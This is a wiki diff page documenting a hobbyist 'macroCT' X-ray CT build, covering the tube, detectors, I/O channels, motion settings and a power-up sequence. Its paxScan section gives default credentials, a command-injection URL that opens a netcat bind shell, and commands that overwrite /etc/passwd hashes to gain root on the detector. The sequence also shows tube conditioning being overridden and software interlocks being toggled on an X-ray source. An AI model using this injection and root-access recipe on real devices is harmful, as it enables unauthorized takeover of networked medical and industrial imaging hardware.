User Tools

Site Tools


macroct

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision
Previous revision
macroct [2024/06/26 20:45] – created konstantinmacroct [2025/02/15 18:58] (current) konstantin
Line 1: Line 1:
-====== µCT ======+====== macroCT ======
  
 ===== X-Ray Source ===== ===== X-Ray Source =====
Line 11: Line 11:
   * 0.51mm Beryllium window   * 0.51mm Beryllium window
  
 +! Hello ROM 038 RAM 185 PS PXS10-WB S/N 12815 Tube KM132 S/N 42039 DCM E S/N 00638
 +! TIMESTATS NonOpSecsRemain 0 TotalHours 42639.8 TotalHoursXRAYon 35298.0
 +! STATUS Off HV .11 080.0 Beam 00.5 0070 Unsafe Infocus Spot 008
 +! Diag2 Anodeleak 17.6
 +
 +Serial Interface on /dev/ttyS3 with 3840bps 8N1
 ====== Detectors ====== ====== Detectors ======
  
Line 37: Line 43:
  
 ==== paxScan ==== ==== paxScan ====
 +
 +The USB connector is actually Ethernet.
 +d+/d- and gnd/ID are the ethernet lines.
 +If you hook up to that, you can see a autoconf IP address.
 +Access the webinterface and login with admin:password.
 +This URL allows you a bind shell: http://169.254.197.171/cgi-bin/vsp-command-post.cgi?command=`{nc,-l,-p,2222,-e,/bin/sh}`
 +
 +Run this:
 +mount -o remount,rw /home
 +echo "export VP_SSHD=1" >> /home/vsp/settings.sh ## this enables SSH server
 +echo "sed -i 's/N1kSQCwwpFzSs/zjB8fX524dmlk/g' /etc/passwd" >> /home/vsp/settings.sh  ## this sets the root password to password
 +echo "sed -i 's/xxx_passwd_of_user_vsp_xxx/zjB8fX524dmlk/g' /etc/passwd" >> /home/vsp/settings.sh  ## this sets the vsp password to password
 +sync
 +mount -o remount,ro /home
 +
 +This allows you to login as vsp with password password and then becoming root with "su".
 +
 +ssh:  vsp:password
 +su:  root:password
 +
 +IP: 192.168.179.200
 +===== I/O =====
 +on /dev/ttyACM0
 +==== PWM ====
 +Channels
 +  * 0: Chamber Light
 +  * 1: Alignment Laser Vertical
 +  * 2: Alignment Laser Horizontal
 +  * 3: (unused)
 +  * 4: Case Fan 1 (in)
 +  * 5: Case Fan 2 (out)
 +  * 6-15: (unused)
 +
 +==== Outputs ====
 +Channels:
 +  * 0: Stepper Motor Supply
 +  * 1: (unused)
 +  * 2: (unused)
 +  * 3: (unused)
 +  * 4: (unused)
 +  * 5: (unused)
 +  * 6: (unused)
 +  * 7: (unused)
 +  * 8: Tube Supply
 +  * 9: (unused)
 +  * 10: Software E-Stop
 +  * 11: Safety Start
 +  * 12: Software Power Interlock
 +  * 13: Software Chamber Interlock
 +  * 14: 15V Detector Supply (PaxScan)
 +  * 15: 24V Detector Supply
  
 ===== Mechanics ===== ===== Mechanics =====
Line 49: Line 106:
  
 == Settings == == Settings ==
 +<code>
 $0=10 $0=10
 $1=254 $1=254
Line 87: Line 145:
 $132=400.000 $132=400.000
 $133=400.000 $133=400.000
-ok +</code> 
-ok + 
-<Idle|MPos:0.000,-100.000,-100.000,0.000|FS:0,0|Pn:AVB> +==== Startup Sequence ==== 
-ok + 
-ok +Connect to /dev/ttyACM0 
-<Idle|MPos:0.000,-100.000,-100.000,0.000|FS:0,0|Pn:AUB> + 
-ok +Enable Debug Mode 
-ok + /dev/ttyACM0 debug 1 
-<Idle|MPos:0.000,-100.000,-100.000,0.000|FS:0,0|Pn:AUVB> + 
-ok +Enable Sensor Supply 
-ok + /dev/ttyACM0 output 14 1 
-ok +  
-ok +Enable Tube Supply 
-S0;0;0;0; + /dev/ttyACM0 output 8 1 
-ok +  
-ok +Connect to /dev/ttyS3 
-S0;0;0;0; + 
-ok +Check Tube Status 
-ok + /dev/ttyS3 : status 
-S0;0;0;0; + 
-ok +Check Beam Voltage HV 
-ok + /dev/ttyS3 : hv setting 
-S0;0;0;0; +  
-ok +Check Beam Current 
-ok + /dev/ttyS3 : beam setting 
-S0;0;0;0; +  
-ok +Set Software Chamber Interlock 
-ok + /dev/ttyACM0 : output 13 1 
-S0;0;0;0; + 
-ok +Set Software Power Interlock 
-ok + /dev/ttyACM0 : output 12 1 
-S0;0;0;0; +  
-$0=10 +Turn Key-Switch to ON 
-$1=254 + 
-$2=+Release Emergency Stop 
-$3=0 + 
-$4=0 +Release Software E-Stop 
-$5=1 + /dev/ttyACM0 : output 10 
-$6=0 +  
-$10=1 +Pulse Software Safety Start 
-$11=0.020 + /dev/ttyACM0 : output 11 
-$12=0.002 + /dev/ttyACM0 : output 11 
-$13=0 +  
-$20=0 +Check Tube Status (should be "Safe Infocus", else wait for warmup to finish) 
-$21=1 + /dev/ttyS3 : status 
-$22=1 +  
-$23=0 +Override Tube Conditioning 
-$24=100.000 + /dev/ttyS3 : program 10 
-$25=500.000 +  
-$26=250 +Start Sensor Capture 
-$27=5.000 + cd ~/Code/PaxScan_CP2-Lite_ACQ 
-$30=12000 + python3 test.py 
-$31=550 +  
-$32=0 +Enable XRAYs 
-$100=160.000 + /dev/ttyS3 : xray on 
-$101=160.000 +  
-$102=160.000 +Check Tube Status to see when current has ramped up 
-$103=160.000 + /dev/ttyS3 : status 
-$110=600.000 + /dev/ttyS3 : status 
-$111=600.000 + ... 
-$112=600.000 +  
-$113=600.000 +Trigger Sensor Exposure 
-$120=40.000 + 
-$121=40.000 +Disable XRAYs 
-$122=40.000 + /dev/ttyS3 : xray off 
-$123=40.000 + 
-$130=400.000 +Turn off Key-Switch 
-$131=400.000 + 
-$132=400.000 +Turn off safety 
-$133=400.000+ /dev/ttyACM0 : output 11 0 
 + /dev/ttyACM0 : output 12 0 
 + /dev/ttyACM0 : output 13 0 
 + 
 +Turn off Tube supply 
 + /dev/ttyACM0 : output 8 0 
 + 
 +Turn off Sensor supply 
 + /dev/ttyACM0 : output 14 0
  
 +Disconnect Serial ports
  
 +Shutdown PC
macroct.1719427533.txt.gz · Last modified: by konstantin